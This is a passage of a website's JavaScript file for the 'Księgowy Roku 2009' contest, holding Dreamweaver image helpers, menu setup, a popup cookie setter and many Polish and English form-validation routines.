function MM_preloadImages() { //v3.0
  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
    var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}

function MM_swapImgRestore() { //v3.0
  var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
}

function MM_reloadPage(init) {  //reloads the window if Nav4 resized
  if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) {
    document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}
  else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload();
}

function MM_findObj(n, d) { //v4.01
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}

function MM_swapImage() { //v3.0
  var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
   if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
}

function MM_openBrWindow(theURL,winName,features) { //v2.0
  window.open(theURL,winName,features);
}
//-->

function init() {
	if (TransMenu.isSupported()) {
		TransMenu.initialize();

		//menu1.onactivate = function() { document.getElementById("firma").className = "hover"; };
		//menu1.ondeactivate = function() { document.getElementById("firma").className = ""; };
		
		menu2.onactivate = function() { document.getElementById("o_konkursie").className = "hover"; };
		menu2.ondeactivate = function() { document.getElementById("o_konkursie").className = ""; };

		menu3.onactivate = function() { document.getElementById("poprzednie_edycje").className = "hover"; };
		menu3.ondeactivate = function() { document.getElementById("poprzednie_edycje").className = ""; };

		menu4.onactivate = function() { document.getElementById(menu2).className = "hover"; };
		menu4.ondeactivate = function() { document.getElementById(menu2).className = ""; };

		/*menu4.onactivate = function() { document.getElementById("klienci").className = "hover"; };
		menu4.ondeactivate = function() { document.getElementById("klienci").className = ""; };

		menu5.onactivate = function() { document.getElementById("partnerzy").className = "hover"; };
		menu5.ondeactivate = function() { document.getElementById("partnerzy").className = ""; };

		menu6.onactivate = function() { document.getElementById("media").className = "hover"; };
		menu6.ondeactivate = function() { document.getElementById("media").className = ""; };

		menu7.onactivate = function() { document.getElementById("multimedia").className = "hover"; };
		menu7.ondeactivate = function() { document.getElementById("multimedia").className = ""; };*/

		/*		menu8.onactivate = function() { document.getElementById("kariera").className = "hover"; };
				menu8.ondeactivate = function() { document.getElementById("kariera").className = ""; };


				menu9.onactivate = function() { document.getElementById("kontakt").className = "hover"; };
				menu9.ondeactivate = function() { document.getElementById("kontakt").className = ""; };		
		*/
	}
}

function init2(){
	init();
	MM_preloadImages('media/link-str-glowna2.jpg','media/link-mapa-serwisu2.jpg','media/link-nota-prawna2.jpg','media/arrow-orange.gif','media/l-english2.gif','media/more2.jpg','media/morenews2.gif','media/siteimpulse2.gif');
}

function sprawdzFormularzKontakt(){
	var blad=0;
	var komunikat = "";
	var re = /^[_a-zA-Z0-9-]+(\.[_a-zA-Z0-9-]+)*@[a-zA-Z0-9-]+(\.[a-zA-Z0-9-]+)*(\.[a-zA-Z]{2,3})$/;
		
	if(document.formularz.interesuje.value == 0){
		komunikat += "* Proszę wybrać, co Państwa interesuje\n";
		blad++;
	}
	
	if(document.formularz.imie.value == ""){
		komunikat += "* Proszę wpisać imię i nazwisko\n";
		blad++;
	}
	
	if(document.formularz.firma.value == ""){
		komunikat += "* Proszę wpisać nazwę instytucji\n";
		blad++;
	}
	
	if((document.formularz.telefon.value == "" || document.formularz.prefix.value == "") && document.formularz.komorka.value == ""){
		komunikat += "* Proszę wpisać przynajmniej jeden nr telefonu\n";
		blad++;
	}	
	if(!document.formularz.email.value.match(re)){
		komunikat += "* Proszę wpisać poprawny adres e-mail\n";
		blad++;
	}
	
	if(document.formularz.tresc.value == ""){
		komunikat += "* Proszę wpisać treść wiadomości\n";
		blad++;
	}
	
	if(blad > 0)
	{
		alert(komunikat);
		return false;
	}
	else
		return true;
}


function sprawdzFormularzKontaktPL(){
	var blad=0;
	var komunikat = "";
	var re = /^[_a-zA-Z0-9-]+(\.[_a-zA-Z0-9-]+)*@[a-zA-Z0-9-]+(\.[a-zA-Z0-9-]+)*(\.[a-zA-Z]{2,3})$/;
		
	if(document.formularz.nazwa.value == ""){
		komunikat += "* Proszę wpisać nazwę firmy\n";
		blad++;
	}
	if(document.formularz.imie.value == ""){
		komunikat += "* Proszę wpisać imię\n";
		blad++;
	}	
	if(document.formularz.nazwisko.value == ""){
		komunikat += "* Proszę wpisać nazwisko\n";
		blad++;
	}
	
	if(!document.formularz.email.value.match(re)){
		komunikat += "* Proszę wpisać poprawny adres e-mail\n";
		blad++;
	}
	
	if(blad > 0)
	{
		alert(komunikat);
		return false;
	}
	else
		return true;
}

function sprawdzFormularzKontaktEN(){
	var blad=0;
	var komunikat = "";
	var re = /^[_a-zA-Z0-9-]+(\.[_a-zA-Z0-9-]+)*@[a-zA-Z0-9-]+(\.[a-zA-Z0-9-]+)*(\.[a-zA-Z]{2,3})$/;
		
	if(document.formularz.nazwa.value == ""){
		komunikat += "* Please specify the company\n";
		blad++;
	}
	if(document.formularz.imie.value == ""){
		komunikat += "* Please specify the first name\n";
		blad++;
	}	
	if(document.formularz.nazwisko.value == ""){
		komunikat += "* Please specify the last name\n";
		blad++;
	}	
	
	if(!document.formularz.email.value.match(re)){
		komunikat += "* Please specify correct e-mail address\n";
		blad++;
	}
	
	if(blad > 0)
	{
		alert(komunikat);
		return false;
	}
	else
		return true;
}

function sprawdzFormularzBOKPL(){
	var blad=0;
	var komunikat = "";
	var re = /^[_a-zA-Z0-9-]+(\.[_a-zA-Z0-9-]+)*@[a-zA-Z0-9-]+(\.[a-zA-Z0-9-]+)*(\.[a-zA-Z]{2,3})$/;
		
	if(document.formularz.nazwa.value == ""){
		komunikat += "* Proszę wpisać nazwę firmy\n";
		blad++;
	}
	if(document.formularz.imie.value == ""){
		komunikat += "* Proszę wpisać imię\n";
		blad++;
	}
	if(document.formularz.nazwisko.value == ""){
		komunikat += "* Proszę wpisać nazwisko\n";
		blad++;
	}	
	
	
	if(document.formularz.telefon.value == ""){
		komunikat += "* Proszę wpisać telefon\n";
		blad++;
	}	
	
	if(document.formularz.zapytanie.value == ""){
		komunikat += "* Proszę wpisać treść zapytania\n";
		blad++;
	}		
	
	if(!document.formularz.email.value.match(re)){
		komunikat += "* Proszę wpisać poprawny adres e-mail\n";
		blad++;
	}
	
	if(blad > 0)
	{
		alert(komunikat);
		return false;
	}
	else
		return true;
}


function sprawdzFormularzBOKReklamacjaPL(){
	var blad=0;
	var komunikat = "";
	var re = /^[_a-zA-Z0-9-]+(\.[_a-zA-Z0-9-]+)*@[a-zA-Z0-9-]+(\.[a-zA-Z0-9-]+)*(\.[a-zA-Z]{2,3})$/;
		
	if(document.formularz2.nazwa.value == ""){
		komunikat += "* Proszę wpisać nazwę abonenta\n";
		blad++;
	}
	if(document.formularz2.adres.value == ""){
		komunikat += "* Proszę wpisać adres siedziby\n";
		blad++;
	}
	if(document.formularz2.numer.value == ""){
		komunikat += "* Proszę wpisać numer abonenta\n";
		blad++;
	}	
	
	
	if(document.formularz2.usluga_id.value == ""){
		komunikat += "* Proszę wpisać id usługi\n";
		blad++;
	}	
	
	if(document.formularz2.przedmiot.value == ""){
		komunikat += "* Proszę wpisać przedmiot reklamacji\n";
		blad++;
	}	
	
	if((document.formularz2.okres_od.value == "") || (document.formularz2.okres_do.value == "")){
		komunikat += "* Proszę wpisać prawidłowy okres reklamowany\n";
		blad++;
	}	
	
		
	
	if(blad > 0)
	{
		alert(komunikat);
		return false;
	}
	else
		return true;
}

function sprawdzFormularzBOKEN(){
	var blad=0;
	var komunikat = "";
	var re = /^[_a-zA-Z0-9-]+(\.[_a-zA-Z0-9-]+)*@[a-zA-Z0-9-]+(\.[a-zA-Z0-9-]+)*(\.[a-zA-Z]{2,3})$/;
		
	if(document.formularz.nazwa.value == ""){
		komunikat += "* Please specify the company\n";
		blad++;
	}
	if(document.formularz.imie.value == ""){
		komunikat += "* Please specify the first name\n";
		blad++;
	}
	if(document.formularz.nazwisko.value == ""){
		komunikat += "* Please specify the last name\n";
		blad++;
	}	
	
	
	if(document.formularz.telefon.value == ""){
		komunikat += "* Please specify the telephone\n";
		blad++;
	}	
	
	if(document.formularz.zapytanie.value == ""){
		komunikat += "* Please specify the message\n";
		blad++;
	}		
	
	if(!document.formularz.email.value.match(re)){
		komunikat += "* Please specify correct e-mail address\n";
		blad++;
	}
	
	if(blad > 0)
	{
		alert(komunikat);
		return false;
	}
	else
		return true;
}

function sprawdzFormularzBOKReklamacjaEN(){
	var blad=0;
	var komunikat = "";
	var re = /^[_a-zA-Z0-9-]+(\.[_a-zA-Z0-9-]+)*@[a-zA-Z0-9-]+(\.[a-zA-Z0-9-]+)*(\.[a-zA-Z]{2,3})$/;
		
	if(document.formularz2.nazwa.value == ""){
		komunikat += "* Proszę wpisać nazwę abonenta\n";
		blad++;
	}
	if(document.formularz2.adres.value == ""){
		komunikat += "* Proszę wpisać adres siedziby\n";
		blad++;
	}
	if(document.formularz2.numer.value == ""){
		komunikat += "* Proszę wpisać numer abonenta\n";
		blad++;
	}	
	
	
	if(document.formularz2.usluga_id.value == ""){
		komunikat += "* Proszę wpisać id usługi\n";
		blad++;
	}	
	
	if(document.formularz2.przedmiot.value == ""){
		komunikat += "* Proszę wpisać przedmiot reklamacji\n";
		blad++;
	}	
	
	if((document.formularz2.okres_od.value == "") || (document.formularz2.okres_do.value == "")){
		komunikat += "* Proszę wpisać prawidłowy okres reklamowany\n";
		blad++;
	}	
	
		
	
	if(blad > 0)
	{
		alert(komunikat);
		return false;
	}
	else
		return true;
}

function sprawdzFormularzPartnerzyPL(){
	var blad=0;
	var komunikat = "";
	var re = /^[_a-zA-Z0-9-]+(\.[_a-zA-Z0-9-]+)*@[a-zA-Z0-9-]+(\.[a-zA-Z0-9-]+)*(\.[a-zA-Z]{2,3})$/;
		
	if(document.formularz.nazwa.value == ""){
		komunikat += "* Proszę wpisać nazwę firmy\n";
		blad++;
	}
	if(document.formularz.adres.value == ""){
		komunikat += "* Proszę wpisać adres firmy\n";
		blad++;
	}
	if(document.formularz.nip.value == ""){
		komunikat += "* Proszę wpisać NIP firmy\n";
		blad++;
	}	
	
	
	if(document.formularz.imie.value == ""){
		komunikat += "* Proszę wpisać imię osoby zgłaszającej\n";
		blad++;
	}	
	
	if(document.formularz.nazwisko.value == ""){
		komunikat += "* Proszę wpisać nazwisko osoby zgłaszającej\n";
		blad++;
	}		
	
	if(!document.formularz.email.value.match(re)){
		komunikat += "* Proszę wpisać poprawny adres e-mail osoby zgłaszającej\n";
		blad++;
	}
	
	if(blad > 0)
	{
		alert(komunikat);
		return false;
	}
	else
		return true;
}

function sprawdzFormularzPartnerzyEN(){
	var blad=0;
	var komunikat = "";
	var re = /^[_a-zA-Z0-9-]+(\.[_a-zA-Z0-9-]+)*@[a-zA-Z0-9-]+(\.[a-zA-Z0-9-]+)*(\.[a-zA-Z]{2,3})$/;
		
	if(document.formularz.nazwa.value == ""){
		komunikat += "* Please specify the company\n";
		blad++;
	}
	if(document.formularz.adres.value == ""){
		komunikat += "* Please specify the company address\n";
		blad++;
	}
	if(document.formularz.nip.value == ""){
		komunikat += "* Please specify the TAX ID\n";
		blad++;
	}	
	
	
	if(document.formularz.imie.value == ""){
		komunikat += "* Please specify your first name\n";
		blad++;
	}	
	
	if(document.formularz.nazwisko.value == ""){
		komunikat += "* Please specify your last name\n";
		blad++;
	}		
	
	if(!document.formularz.email.value.match(re)){
		komunikat += "* Please specify correct e-mail address\n";
		blad++;
	}
	
	if(blad > 0)
	{
		alert(komunikat);
		return false;
	}
	else
		return true;
}

function sprawdzFormularzMediaRejestracjaPL(){
	var blad=0;
	var komunikat = "";
	var re = /^[_a-zA-Z0-9-]+(\.[_a-zA-Z0-9-]+)*@[a-zA-Z0-9-]+(\.[a-zA-Z0-9-]+)*(\.[a-zA-Z]{2,3})$/;
		
	if(document.formularz.imie.value == ""){
		komunikat += "* Proszę wpisać imię\n";
		blad++;
	}
	if(document.formularz.nazwisko.value == ""){
		komunikat += "* Proszę wpisać nazwisko\n";
		blad++;
	}	
	
	
	if(document.formularz.redakcja.value == ""){
		komunikat += "* Proszę wpisać redakcję\n";
		blad++;
	}	
	
	if(!document.formularz.email.value.match(re)){
		komunikat += "* Proszę wpisać poprawny adres e-mail\n";
		blad++;
	}
	
	if(document.formularz.adres.value == ""){
		komunikat += "* Proszę wpisać adres\n";
		blad++;
	}
	
	if(document.formularz.wydawnictwo.value == ""){
		komunikat += "* Proszę wpisać wydawnictwo\n";
		blad++;
	}
	
	if(document.formularz.redakcja.value == ""){
		komunikat += "* Proszę wpisać telefon\n";
		blad++;
	}	
	
	if(blad > 0)
	{
		alert(komunikat);
		return false;
	}
	else
		return true;
}

function sprawdzFormularzMediaRejestracjaEN(){
	var blad=0;
	var komunikat = "";
	var re = /^[_a-zA-Z0-9-]+(\.[_a-zA-Z0-9-]+)*@[a-zA-Z0-9-]+(\.[a-zA-Z0-9-]+)*(\.[a-zA-Z]{2,3})$/;
		
	if(document.formularz.imie.value == ""){
		komunikat += "* Please specify the first name\n";
		blad++;
	}
	if(document.formularz.nazwisko.value == ""){
		komunikat += "* Please specify the last name\n";
		blad++;
	}	
	
	
	if(document.formularz.redakcja.value == ""){
		komunikat += "* Please specify the editor\n";
		blad++;
	}	
	
	if(!document.formularz.email.value.match(re)){
		komunikat += "* Please specify correct e-mail address\n";
		blad++;
	}
	
	if(document.formularz.adres.value == ""){
		komunikat += "* Please specify the editor's address\n";
		blad++;
	}
	
	if(document.formularz.wydawnictwo.value == ""){
		komunikat += "* Please specify the publishing house\n";
		blad++;
	}
	
	if(document.formularz.redakcja.value == ""){
		komunikat += "* Please specify the phone \n";
		blad++;
	}	
	
	if(blad > 0)
	{
		alert(komunikat);
		return false;
	}
	else
		return true;
}

function sprawdzFormularzMediaLogowaniePL(){
	var blad=0;
	var komunikat = "";
		
	if(document.formularz_log.login.value == ""){
		komunikat += "* Proszę wpisać login\n";
		blad++;
	}
	if(document.formularz_log.haslo.value == ""){
		komunikat += "* Proszę wpisać hasło\n";
		blad++;
	}	
	
	if(blad > 0)
	{
		alert(komunikat);
		return false;
	}
	else
		return true;
}

function sprawdzFormularzMediaLogowanieEN(){
	var blad=0;
	var komunikat = "";
		
	if(document.formularz_log.login.value == ""){
		komunikat += "* Please specify the login\n";
		blad++;
	}
	if(document.formularz_log.haslo.value == ""){
		komunikat += "* Please specify the password\n";
		blad++;
	}	
	
	if(blad > 0)
	{
		alert(komunikat);
		return false;
	}
	else
		return true;
}

function sprawdzFormularzKarieraPL(){
	var blad=0;
	var komunikat = "";
	var re = /^[_a-zA-Z0-9-]+(\.[_a-zA-Z0-9-]+)*@[a-zA-Z0-9-]+(\.[a-zA-Z0-9-]+)*(\.[a-zA-Z]{2,3})$/;
		
	if(document.formularz.imie.value == ""){
		komunikat += "* Proszę wpisać imię osoby \n";
		blad++;
	}	
	
	if(document.formularz.nazwisko.value == ""){
		komunikat += "* Proszę wpisać nazwisko osoby \n";
		blad++;
	}		
	
	if(!document.formularz.email.value.match(re)){
		komunikat += "* Proszę wpisać poprawny adres e-mail osoby \n";
		blad++;
	}
	
	if(document.formularz.cv.value == ""){
		komunikat += "* Proszę przesłać swoje CV \n";
		blad++;
	}		
	
	if(document.formularz.list.value == ""){
		komunikat += "* Proszę przesłać swój list motywacyjny \n";
		blad++;
	}			
	
	if(blad > 0)
	{
		alert(komunikat);
		return false;
	}
	else
		return true;
}

function sprawdzFormularzKarieraEN(){
	var blad=0;
	var komunikat = "";
	var re = /^[_a-zA-Z0-9-]+(\.[_a-zA-Z0-9-]+)*@[a-zA-Z0-9-]+(\.[a-zA-Z0-9-]+)*(\.[a-zA-Z]{2,3})$/;
		
	if(document.formularz.imie.value == ""){
		komunikat += "* Please specify the first name \n";
		blad++;
	}	
	
	if(document.formularz.nazwisko.value == ""){
		komunikat += "* Please specify the last name \n";
		blad++;
	}		
	
	if(!document.formularz.email.value.match(re)){
		komunikat += "* Please specify correct e-mail address \n";
		blad++;
	}
	
	if(document.formularz.cv.value == ""){
		komunikat += "* Please attach your CV \n";
		blad++;
	}		
	
	if(document.formularz.list.value == ""){
		komunikat += "* Please attach your letter of application \n";
		blad++;
	}			
	
	if(blad > 0)
	{
		alert(komunikat);
		return false;
	}
	else
		return true;
}

function sprawdzZgodeFormularzKariera(){
	if(document.formularz.zgoda.checked == true){
		document.formularz.wyslij.disabled=false;
	} else {
		document.formularz.wyslij.disabled=true;
	}
}

function closePopup(lang){
	if(document.popupform.nopopup.checked){
		var now = new Date();
		fixDate(now);
		now.setTime(now.getTime() + 365 * 24 * 60 * 60 * 1000);
		setCookie("blockpopup"+lang, document.popupform.nopopup.value, now);
		}
	document.getElementById("popup").style.visibility = "hidden";
	}
	
function showPopup(){
	document.getElementById("popup").style.visibility = "visible";
	}

function setCookie(name, value, expires, path, domain, secure) {
  var curCookie = name + "=" + escape(value) +
      ((expires) ? "; expires=" + expires.toGMTString() : "") +
      ((path) ? "; path=" + path : "") +
      ((domain) ? "; domain=" + domain : "") +
      ((secure) ? "; secure" : "");
  document.cookie = curCookie;
}

function fixDate(date) {
  var base = new Date(0);
  var skew = base.getTime();
  if (skew > 0)
    date.setTime(date.getTime() - skew);
}

function showHide(obj) {
	if (obj.value==obj.options[obj.options.length-1].value)
		document.getElementById(obj.id + '_inne_div').style.display = 'inline';
	else {
		document.getElementById(obj.id + '_inne_div').style.display = 'none';
		document.getElementById(obj.id + '_inne').value = '';
	}
}

function showHideDiv(obj) {
	if (obj.value==obj.options[1].value)
		document.getElementById('system_inf_div').style.display = 'inline';
	else {
		document.getElementById('system_inf_div').style.display = 'none';
		document.getElementById('system_inf').value = '';
	}
		
	if (obj.value==obj.options[2].value)
		document.getElementById('system_controlling_div').style.display = 'inline';
	else {
		document.getElementById('system_controlling_div').style.display = 'none';
		document.getElementById('system_controlling').value = '';
	}
		
	if (obj.value==obj.options[obj.options.length-1].value)
		document.getElementById(obj.id + '_inne_div').style.display = 'inline';
	else {
		document.getElementById(obj.id + '_inne_div').style.display = 'none';
		document.getElementById(obj.id + '_inne').value = '';
	}
}

function checkForm() {
	red = "#ffaa88";
	white = "#ffffff";
	
	message = '';
	
	licznik = 0;
	
	var re = /^[_a-zA-Z0-9-]+(\.[_a-zA-Z0-9-]+)*@[a-zA-Z0-9-]+(\.[a-zA-Z0-9-]+)*(\.[a-zA-Z]{2,3})$/;
	
	var pracuje = document.formularz_ks.pracuje_zawodowo[0].checked?false:true;
	
	if (document.formularz_ks.imie.value=='') {
		document.formularz_ks.imie.style.background = red;
		document.formularz_ks.imie.focus();
		licznik++;

	}
	else {
		document.formularz_ks.imie.style.background = white;
	}
	
	if (document.formularz_ks.nazwisko.value=='') {
		document.formularz_ks.nazwisko.style.background = red;
		
		if (licznik == 0)
			document.formularz_ks.nazwisko.focus();
		
		licznik++;
	}
	else {
		document.formularz_ks.nazwisko.style.background = white;
	}
	
	if (pracuje && document.formularz_ks.nazwa_firmy.value=='') {
		document.formularz_ks.nazwa_firmy.style.background = red;
		
		if (licznik == 0)
			document.formularz_ks.nazwa_firmy.focus();
		licznik++;

	}
	else {
		document.formularz_ks.nazwa_firmy.style.background = white;	
	}
	
	if (pracuje && (document.formularz_ks.nip.value=='' || document.formularz_ks.nip.value.length < 10)) {
		document.formularz_ks.nip.style.background = red;
		if (licznik == 0)
			document.formularz_ks.nip.focus();
		licznik++;
		message += 'Proszę podać poprawny nr NIP\n';

	}
	else {
		document.formularz_ks.nip.style.background = white;	
	}
	
	has_letter  = false;
	for(i=0; i < document.formularz_ks.miejscowosc.value.length; i++) {
		if ((document.formularz_ks.miejscowosc.value.charAt(i) >= 'a' && document.formularz_ks.miejscowosc.value.charAt(i) <= 'z') 
			|| (document.formularz_ks.miejscowosc.value.charAt(i) >= 'A' && document.formularz_ks.miejscowosc.value.charAt(i) <= 'Z'))
		has_letter = true;
	}
	
	if (document.formularz_ks.miejscowosc.value=='' || !has_letter) {
		document.formularz_ks.miejscowosc.style.background = red;
		
		if (licznik == 0)
			document.formularz_ks.miejscowosc.focus();
		licznik++;
		
		message += 'Nazwa miejscowości musi zawierać litery\n';

	}
	else {
		document.formularz_ks.miejscowosc.style.background = white;	
	}
	
	if (document.formularz_ks.kod_1.value=='') {
		document.formularz_ks.kod_1.style.background = red;
		
		if (licznik == 0)
			document.formularz_ks.kod_1.focus();
		licznik++;

	}
	else {
		document.formularz_ks.kod_1.style.background = white;	
	}
	
	if (document.formularz_ks.kod_2.value=='') {
		document.formularz_ks.kod_2.style.background = red;
		
		if (licznik == 0)
			document.formularz_ks.kod_2.focus();
		licznik++;

	}
	else {
		document.formularz_ks.kod_2.style.background = white;	
	}
	
	if (document.formularz_ks.ulica.value=='') {
		document.formularz_ks.ulica.style.background = red;
		
		if (licznik == 0)
			document.formularz_ks.ulica.focus();
		licznik++;

	}
	else {
		document.formularz_ks.ulica.style.background = white;
	}
	
	if (document.formularz_ks.numer.value=='') {
		document.formularz_ks.numer.style.background = red;
		
		if (licznik == 0)
			document.formularz_ks.numer.focus();
		licznik++;

	}
	else {
		document.formularz_ks.numer.style.background = white;
	}
	
	/*if (document.formularz_ks.lokal.value=='') {
		document.formularz_ks.lokal.style.background = red;
		
		if (licznik == 0)
			document.formularz_ks.lokal.focus();
		licznik++;

	}
	else {
		document.formularz_ks.lokal.style.background = white;
	}*/
	
	if (document.formularz_ks.wojewodztwo.value==0) {
		document.formularz_ks.wojewodztwo.style.background = red;
		
		if (licznik == 0)
			document.formularz_ks.wojewodztwo.focus();
		licznik++;

	}
	else {
		document.formularz_ks.wojewodztwo.style.background = white;
	}
	
	if (document.formularz_ks.telefon_komorkowy.value.length < 9 && (document.formularz_ks.telefon_stacjonarny_1.value.length < 2 || document.formularz_ks.telefon_stacjonarny_2.value.length < 7 )) {
		message += 'Proszę podać przynajmniej jeden nr telefonu.\n';
		
		if (document.formularz_ks.telefon_stacjonarny_1.value.length==2 && document.formularz_ks.telefon_stacjonarny_2.value.length==7) {
			document.formularz_ks.telefon_komorkowy.style.background = white;
		}
		
		if (document.formularz_ks.telefon_stacjonarny_1.value=='' || document.formularz_ks.telefon_stacjonarny_1.value.length < 2) {
			document.formularz_ks.telefon_stacjonarny_1.style.background = red;
			
			if (licznik == 0)
				document.formularz_ks.telefon_stacjonarny_1.focus();
			licznik++;
			message += 'Proszę podać poprawny nr kierunkowy telefonu stacjonarnego\n';
		}
		else {
			document.formularz_ks.telefon_stacjonarny_1.style.background = white;
		}
		
		if (document.formularz_ks.telefon_stacjonarny_2.value=='' || document.formularz_ks.telefon_stacjonarny_2.value.length < 7) {
			document.formularz_ks.telefon_stacjonarny_2.style.background = red;
			
			if (licznik == 0)
				document.formularz_ks.telefon_stacjonarny_2.focus();
			licznik++;
			message += 'Proszę podać poprawny nr telefonu stacjonarnego\n';

		}
		else {
			document.formularz_ks.telefon_stacjonarny_2.style.background = white;
		}
		
		if (document.formularz_ks.telefon_komorkowy.value=='' || document.formularz_ks.telefon_komorkowy.value.length < 9) {
			document.formularz_ks.telefon_komorkowy.style.background = red;
			
			if (licznik == 0)
				document.formularz_ks.telefon_komorkowy.focus();
			licznik++;
			message += 'Proszę podać poprawny nr kierunkowy telefonu komórkowego\n';

		}
		else {
			document.formularz_ks.telefon_komorkowy.style.background = white;
			document.formularz_ks.telefon_stacjonarny_2.style.background = white;
			document.formularz_ks.telefon_stacjonarny_1.style.background = white;
		}

	}
	else 
	if (document.formularz_ks.telefon_komorkowy.value=='' && (document.formularz_ks.telefon_stacjonarny_1.value.length ==2 && document.formularz_ks.telefon_stacjonarny_2.value.length==7))
	{
		document.formularz_ks.telefon_komorkowy.style.background = white;
		document.formularz_ks.telefon_stacjonarny_1.style.background = white;
		document.formularz_ks.telefon_stacjonarny_2.style.background = white;
	}
	else
	if (document.formularz_ks.telefon_komorkowy.value.length==9 || (document.formularz_ks.telefon_stacjonarny_1.value=='' || document.formularz_ks.telefon_stacjonarny_2.value=='' )) {
		document.formularz_ks.telefon_stacjonarny_1.style.background = white;
		document.formularz_ks.telefon_stacjonarny_2.style.background = white;
		document.formularz_ks.telefon_komorkowy.style.background = white;
	}
	
	/*if (document.formularz_ks.fax_1.value=='' || document.formularz_ks.fax_1.value.length < 2) {
		document.formularz_ks.fax_1.style.background = red;
		
		if (licznik == 0)
			document.formularz_ks.fax_1.focus();
		licznik++;
		message += 'Proszę podać poprawny nr kierunkowy faksu\n';
	}
	else {
		document.formularz_ks.fax_1.style.background = white;
	}
	
	if (document.formularz_ks.fax_2.value=='' || document.formularz_ks.fax_2.value.length < 7) {
		document.formularz_ks.fax_2.style.background = red;
		
		if (licznik == 0)
			document.formularz_ks.fax_2.focus();
		licznik++;
		message += 'Proszę podać poprawny nr faksu\n';
	}
	else {
		document.formularz_ks.fax_2.style.background = white;
	}*/
	
	if(!document.formularz_ks.email.value.match(re)){
		document.formularz_ks.email.style.background = red;
		
		if (licznik == 0)
			document.formularz_ks.email.focus();
		licznik++;
		message += 'Proszę podać poprawny adres e-mail. Będzie on służył do dalszej rejestracji.\n';

	}
	else {
		document.formularz_ks.email.style.background = white;
	}
	
	if (pracuje && document.formularz_ks.stanowisko.value==0) {
		document.formularz_ks.stanowisko.style.background = red;
		
		if (licznik == 0)
			document.formularz_ks.stanowisko.focus();
		licznik++;

	}
	else {
		document.formularz_ks.stanowisko.style.background = white;
	}
	
	if (pracuje && document.formularz_ks.branza.value==0) {
		document.formularz_ks.branza.style.background = red;
		
		if (licznik == 0)
			document.formularz_ks.branza.focus();
		licznik++;

	}
	else {
		document.formularz_ks.branza.style.background = white;
	}
	
/*	if (pracuje && document.formularz_ks.zakres_dzialania_firmy.value==0) {
		document.formularz_ks.zakres_dzialania_firmy.style.background = red;
		
		if (licznik == 0)
			document.formularz_ks.zakres_dzialania_firmy.focus();
		licznik++;

	}
	else {
		document.formularz_ks.zakres_dzialania_firmy.style.background = white;
	}
*/
	
	if (pracuje && document.formularz_ks.liczba_osob_firma.value==0) {
		document.formularz_ks.liczba_osob_firma.style.background = red;
		
		if (licznik == 0)
			document.formularz_ks.liczba_osob_firma.focus();
		licznik++;

	}
	else {
		document.formularz_ks.liczba_osob_firma.style.background = white;
	}
	
	if (pracuje && document.formularz_ks.roczny_obrot_firma.value==0) {
		document.formularz_ks.roczny_obrot_firma.style.background = red;
		
		if (licznik == 0)
			document.formularz_ks.roczny_obrot_firma.focus();
		licznik++;

	}
	else {
		document.formularz_ks.roczny_obrot_firma.style.background = white;
	}
	
	if (document.formularz_ks.wiek.value==0) {
		document.formularz_ks.wiek.style.background = red;
		
		if (licznik == 0)
			document.formularz_ks.wiek.focus();
		licznik++;

	}
	else {
		document.formularz_ks.wiek.style.background = white;
	}
	
	if (document.formularz_ks.plec.value==0) {
		document.formularz_ks.plec.style.background = red;
		
		if (licznik == 0)
			document.formularz_ks.plec.focus();
		licznik++;

	}
	else {
		document.formularz_ks.plec.style.background = white;
	}
	
/*	if (document.formularz_ks.uczestniczyl.value==0) {
		document.formularz_ks.uczestniczyl.style.background = red;
		
		if (licznik == 0)
			document.formularz_ks.uczestniczyl.focus();
		licznik++;

	}
	else {
		document.formularz_ks.uczestniczyl.style.background = white;
	}
*/	

	if (!document.formularz_ks.zgoda1.checked) {
		document.getElementById('zgoda1').parentNode.style.background = red;
		licznik++;
		message += 'Proszę zaznaczyć opcję, że zapoznali się Państwo z regulaminem konkursu "Księgowy Roku 2009".\n';
	}
	else  {
		document.getElementById('zgoda1').parentNode.style.background = '';
	}
	
	if (!document.formularz_ks.zgoda2.checked) {
		document.getElementById('zgoda2').parentNode.style.background = red;
		licznik++;
		message += 'Proszę zaznaczyć opcję, że wyrażają Państwo zgodę na przetwarzanie danych osobowych.\n';
	}
	else  {
		document.getElementById('zgoda2').parentNode.style.background = '';
	}

	
	message += 'Pola zaznaczone na czerwono są polami obowiązkowymi.' ;
	if (licznik > 0) {
		alert(message);
		return false;
	}
	return true;
}

function checkFormSt() {
	red = "#ffaa88";
	white = "#ffffff";
	
	message = '';
	
	licznik = 0;
	
	var re = /^[_a-zA-Z0-9-]+(\.[_a-zA-Z0-9-]+)*@[a-zA-Z0-9-]+(\.[a-zA-Z0-9-]+)*(\.[a-zA-Z]{2,3})$/;
	
	if (document.formularz_ks.imie.value=='') {
		document.formularz_ks.imie.style.background = red;
		document.formularz_ks.imie.focus();
		licznik++;

	}
	else {
		document.formularz_ks.imie.style.background = white;
	}
	
	if (document.formularz_ks.nazwisko.value=='') {
		document.formularz_ks.nazwisko.style.background = red;
		
		if (licznik == 0)
			document.formularz_ks.nazwisko.focus();
		
		licznik++;
	}
	else {
		document.formularz_ks.nazwisko.style.background = white;
	}
	
/*	if (document.formularz_ks.uczelnia_id.value==0 || (document.formularz_ks.uczelnia_id.value==-1 && document.formularz_ks.uczelnia_inna.value=='')) {
		if (document.formularz_ks.uczelnia_id.value==0)
			document.formularz_ks.uczelnia_id.style.background = red;
		if (document.formularz_ks.uczelnia_id.value==-1)
			document.formularz_ks.uczelnia_inna.style.background = red;
		
